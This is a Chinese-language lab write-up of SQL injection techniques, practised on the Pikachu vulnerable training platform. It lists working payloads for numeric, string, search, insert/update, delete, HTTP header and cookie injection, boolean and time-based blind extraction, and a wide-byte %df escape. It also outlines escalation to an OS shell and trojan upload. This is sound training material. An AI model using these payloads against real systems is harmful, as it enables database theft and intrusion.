1.概述
1.1發生原因
SQL注入漏洞,主要是開發人員在構建代碼時,沒有對輸入邊界進行安全考慮,導致攻擊者可以通過合法的輸入點提交一些精心構造的語句,從而欺騙后台數據庫對其進行執行,導致數據庫信息泄漏的一種漏洞。
1.2SQL注入攻擊流程
第一步:注入點探測
- 自動方式:使用web漏洞掃描工具,自動進行注入點發現
- 手動方式:手工構造SQL注入測試語句進行注入點發現
第二步:信息獲取
通過注入點取得期望得到的數據
- 1.環境信息:數據庫類型,數據庫版本,操作系統版本,用戶信息等
- 2.數據庫信息:數據庫蜜罐,數據庫表,表字段,字段內容等(加密內容破解)
第三步:獲取權限
- 獲取操作系統權限:通過數據庫執行shell,上傳木馬
1.3注入點類型
分類根據:輸入的變量傳入到SQL語句是以什么類型拼接的
- 數字型:user_id=$id
- 字符型:user_id=‘$id‘
- 搜索型:text LIKE ‘%{$_GET[‘search‘]}%‘"
2.數字型注入(POST)
這里可以根據我們選擇的 userid 返回用戶名和郵箱
因為是用POST語句取得我們傳遞的參數值,傳遞給一個變量,再到數據庫查詢。所以我們猜測后台的查詢語句大概是下面這樣的
$id=$_POST[‘id‘] select 字段1,字段2 from 表名 where id=1$id
下面我 BurpSuite 抓包來測試一下
把傳入的參數改成1 or 1=1,看看返回的結果
注入成功
三、字符型注入
kobe‘ or 1=1#
注入成功
四、搜索型注入
k%‘ or 1=1#
注入成功
五.XX型注入
構造的payload如下
kobe‘) or 1=1#
六、insert/update注入
我們就填必填的兩項,用戶那里輸入單引號,密碼隨便輸入,頁面會有報錯信息,說明存在SQL注入漏洞
這種情況下,我們知道后台使用的是 insert 語句,我們一般可以通過 or 進行閉合。后台的 SQL 語句可能是下面這個樣子
insert into member(username,pw,sex,phonenum,email,adderss) values(‘doge‘, 11111, 1, 2, 3, 4);
構造下面的 payload,基於 insert 下的報錯來進行注入
adminminmin 'or updatexml(1, concat(0x7e,database()), 0) or '兩個單引號分別閉合 values數據的前后兩個單引號,所以不用注釋后面的句子

注入成功
七、delete注入
這里有一個留言板,點刪除可以把對應的留言刪掉我們點刪除並用 BurpSuite 抓包,實際上就是傳遞了一個留言的 id,后台根據這個 id 去刪除留言
構造出 or updatexml(1, concat(0x7e,database()), 0) 在id=67后
八、http header 注入
有些時候,后台開發人員為了驗證客戶端頭信息(比如cookie驗證)
或者通過http header獲取客戶端的一些信息,比如useragent,accept字段等
會對客戶端的http header信息進行獲取並使用SQL進行處理,如果此時並沒有足夠的安全考慮
則可能會導致基於 http header 的 SQL 注入漏洞
登陸之后會記錄以下信息
下面BurpSuite修改發包內容
把 User-Agent 改為一個單引號,發包看看后台處理的結果,發現直接報了 SQL 語法錯誤
還有 cookie 也是可以注入的,后端可能會取得我們的 cookie,后端通過拼接 SQL 語句進行驗證
九、盲注boolian
我們在皮卡丘平台一進行實驗,輸入下面的測試語句
kobe‘ and 1=1#

kobe‘ and 1=2#

於是利用and來構造payload
kobe' and ascii(substr(database(),1,1))=112 #
來一個個進行測試,爆出database
不對的話就會出現用戶名不存在,正確的話就會出現用戶正確信息,可采用二分法來減少盲注次數
十、盲注time
發現其存在時間盲注,只要kobe存在就會執行后面的響應五秒延遲
根據這個在加上測試
payload: kobe' and if((substr(database(),1,1))='p',sleep(4),null) #
此時412ms就返回結果,說明數據庫名第一位是p
將p改為a,則1ms返回結果
說明數據庫名第一位是p
十一、寬字節注入
當我們用通常的測試 payload時,是無法執行成功的,下面的payload會報錯
kobe‘ or 1=1#

抓包看一下
因為在后台單引號會被轉義,在數據庫中執行時多了個反斜杠。我們可以用下面的payload,在單引號前面加上 %df,讓單引號成功逃逸
kobe%df‘ or 1=1#
成功